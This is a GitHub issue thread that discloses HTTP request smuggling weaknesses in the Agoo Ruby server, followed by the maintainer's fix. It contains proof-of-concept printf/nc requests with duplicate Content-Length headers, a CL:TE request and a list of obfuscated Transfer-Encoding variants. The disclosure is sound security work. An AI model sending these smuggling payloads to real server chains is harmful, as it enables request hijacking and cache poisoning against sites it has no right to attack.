ohler55 / agoo

A High Performance HTTP Server for Ruby
MIT License
912 stars 39 forks source link

Protect against smuggling attacks #88

Closed ohler55 closed 4 years ago

ohler55 commented 4 years ago

Testbed used to verify the vulnerability: https://github.com/ohler55/agoo#rack The following requests can be send via command line (tested on ubuntu) to reproduce the behaviour

Double Content Length Headers

printf 'GET /hello HTTP/1.1\r\n'\ 'Content-Length: 47\r\n'\ 'Content-Length: 0\r\n'\ 'Host: 127.0.0.1\r\n'\ '\r\n'\ 'GET /smuggle HTTP/1.1\r\n'\ 'Host: 127.0.0.1\r\n'\ '\r\n' | nc 127.0.0.1 80

Invalid Transfer Encoding Header

printf 'POST / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'tRANSFER-ENCODING: chunked\r\n'\ 'Content-Type: application/x-www-form-urlencoded\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ | nc 127.0.0.1 80

Agoo allows multiple malformed variations of the Transfer Encoding header

A request with Content Length and malformed Transfer encoding headers that can be sent to a backend server and conduct CL:TE attacks. (https://memn0ps.github.io/2019/09/13/HTTP-Request-Smuggling-CL-TE.html)

POST /hello HTTP/1.1 Host: 127.0.0.1:6464 Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding : chunked

0

X

In the above example, the request is sent with the Transfer encoding header having extra spaces (Transfer-Encoding : chunked). This is in violation of RFC 7230. Agoo was also found to allow multiple variations of bad transfer encoding headers including CRLF characters, Fake Transfer encoding etc. (See TE.TE behavior: obfuscating the TE header section: https://portswigger.net/web-security/request-smuggling)

Some other examples that is allowed:

Transfer-Encoding: chunk Transfer-Encoding: ch–nked Transfer-Encoding:ÿchunked Transfer-Encoding:chunked tRANSFER-ENCODING: chunked [space here]Transfer-Encoding: chunked Transfer-Encoding: chunked Transfer-Encoding:chunked Transfer-Encoding: "chunked" Transfer-Encoding : chunked Transfer-Encoding: chunked

The above is proof of concept which just demonstrates the behaviour. Depending on how Algoo will be used as part of a chain of servers, this could result in a successful request smuggling attack. I am happy to provide more information regarding a successful attack.

Remediation

The best solution to remediate this vulnerability is to do the following:

Remediation for the following open source projects can be used as a reference. The above points were taken from that.

• https://github.com/benoitc/gunicorn/issues/2176
• https://github.com/netty/netty/issues/9571
• https://docs.pylonsproject.org/projects/waitress/en/latest/#security-fixes
ohler55 commented 4 years ago

Finally getting to this. After giving it some thought and reviewing the claimed dangers I've found that due to the way Agoo handles headers the described attacks would not cause any unexpected behaviour. That being said, I can see a case where someone might like to see an error returned if a header is not valid even if it does not impact the workings of the server. I'll add an option to validate headers and return an 400 if the headers is not valid.

ohler55 commented 4 years ago

Although the Agoo server did not need any changes for it's own purposes a change was made to pass down all values to the application so that multiple occurrences of a header key was passed to the Rack app as an array. That allow the app to determine the validity if needed. Content-Length is now checked for only one occurrence as well.

I believe these changes resolve the issue identified.

ohler55 commented 4 years ago

No response. Closing.